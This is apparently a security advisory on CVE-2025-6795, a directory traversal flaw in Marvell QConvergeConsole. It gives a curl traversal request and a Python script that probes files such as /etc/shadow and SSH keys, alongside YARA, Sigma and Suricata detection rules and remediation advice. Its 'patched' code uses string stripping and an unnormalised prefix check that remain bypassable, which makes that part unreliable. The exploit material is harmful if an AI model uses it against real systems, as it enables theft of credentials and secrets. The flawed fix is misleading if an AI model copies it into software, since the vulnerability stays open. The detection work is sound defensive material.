CVE-2025-6795

Executive Summary

CVE-2025-6795 is a directory traversal vulnerability in Marvell QConvergeConsole, specifically within the getFileUploadSize method. The flaw allows an unauthenticated remote attacker to read arbitrary files on the system by supplying a crafted path. The vulnerability is classified as an information disclosure issue with a CVSS score of 5.3 (Medium). No public exploit code or proof-of-concept is currently available, and no patch has been released by Marvell. The attack vector is network-based, requires no authentication, and has low complexity, making it a potential target for reconnaissance and data exfiltration.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary enterprise software product (Marvell QConvergeConsole) used for storage and network management.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated file disclosure, which can lead to leakage of configuration files, credentials, or sensitive system data. However, it does not allow code execution or data modification.

Deep Dive & Mechanics

The vulnerability resides in the getFileUploadSize method of Marvell QConvergeConsole. This method is designed to check the size of a file before upload, but it fails to properly validate user-supplied path input. An attacker can supply a path containing directory traversal sequences (e.g., ../../../windows/win.ini) to read arbitrary files from the filesystem.

The lack of input sanitization means the application directly passes the user-supplied path to file system operations without checking for traversal patterns. Since the service runs with SYSTEM privileges, an attacker can read any file on the system, including sensitive configuration files, password hashes, or application secrets.

Attack Flow:

1. Attacker sends a crafted HTTP request to the vulnerable endpoint (likely /getFileUploadSize or similar).
2. The request includes a path parameter with directory traversal sequences.
3. The server reads the file at the traversed path and returns its size (or content) in the response.
4. Attacker iterates through common file paths to extract sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

public long getFileUploadSize(String userPath) {
    File file = new File(userPath); // No validation
    return file.length();
}

Patched Code (Conceptual):

public long getFileUploadSize(String userPath) {
    // Sanitize path to prevent traversal
    String safePath = userPath.replaceAll("\\.\\./", "").replaceAll("\\.\\.\\\\", "");
    // Or use a whitelist approach
    if (!safePath.startsWith("/allowed/upload/dir/")) {
        throw new SecurityException("Invalid path");
    }
    File file = new File(safePath);
    return file.length();
}

Key Differences:

• Vulnerable code directly uses user input without validation.
• Patched code removes traversal sequences or restricts paths to a safe directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Marvell QConvergeConsole with the vulnerable getFileUploadSize endpoint.
• Network access to the target (port 80/443 or custom port).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., via Shodan or manual discovery).
2. Send a crafted request to read sensitive files.

Example Request (using curl):

curl -X GET "http://target:port/getFileUploadSize?path=../../../windows/win.ini"

Expected Response:

File size: 1234

Advanced Exploitation:

• Read configuration files: ../../../etc/passwd, ../../../app/config.properties
• Read application logs: ../../../logs/access.log
• Read SSH keys: ../../../root/.ssh/id_rsa

Automation Script (Python):

import requests

target = "http://target:port"
paths = [
    "../../../etc/passwd",
    "../../../windows/win.ini",
    "../../../etc/shadow",
    "../../../app/config.properties"
]

for path in paths:
    r = requests.get(f"{target}/getFileUploadSize?path={path}")
    print(f"{path}: {r.text}")

Blue Team (Detection & Response)

Detection:

• Monitor for HTTP requests containing ../ or ..\\ in query parameters.
• Alert on requests to /getFileUploadSize or similar endpoints.
• Look for unusual file size responses (e.g., reading large system files).

Response:

• Block IPs sending traversal patterns.
• Restrict file system access for the application service account.
• Apply virtual patching via WAF rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests with path parameter containing ../ or ..\\
• Requests to /getFileUploadSize endpoint
• Unusual outbound data transfers from the server

File IOCs:

• Access to files outside the application directory (e.g., /etc/passwd, C:\Windows\win.ini)
• Log entries showing file read errors for non-existent paths

System IOCs:

• Unusual file handle counts for the application process
• High disk I/O from the application process

Detection Engineering

YARA Rule

rule CVE_2025_6795_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting Marvell QConvergeConsole getFileUploadSize"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6795"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "getFileUploadSize"
    condition:
        any of ($traversal*) and $endpoint
}

Sigma Rule

title: CVE-2025-6795 Directory Traversal in Marvell QConvergeConsole
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts targeting the getFileUploadSize endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
        cs-uri-stem|contains: 'getFileUploadSize'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6795 Directory Traversal in Marvell QConvergeConsole"; flow:to_server,established; content:"GET"; http_method; content:"getFileUploadSize"; http_uri; content:"../"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect Marvell QConvergeConsole from untrusted networks.
2. Apply WAF rules: Block requests containing ../ or ..\\ in query parameters.
3. Restrict file system access: Run the application with a low-privilege service account that cannot read sensitive system files.

Long-term Fix:

• Vendor patch: Await an official patch from Marvell. Monitor their security advisories.
• Code fix: Implement input validation to reject directory traversal sequences and restrict file operations to a safe base directory.
• Upgrade: If a patched version becomes available, upgrade immediately.

Workaround:

• Disable the getFileUploadSize endpoint if not required.
• Use a reverse proxy to filter malicious requests.

Valters IT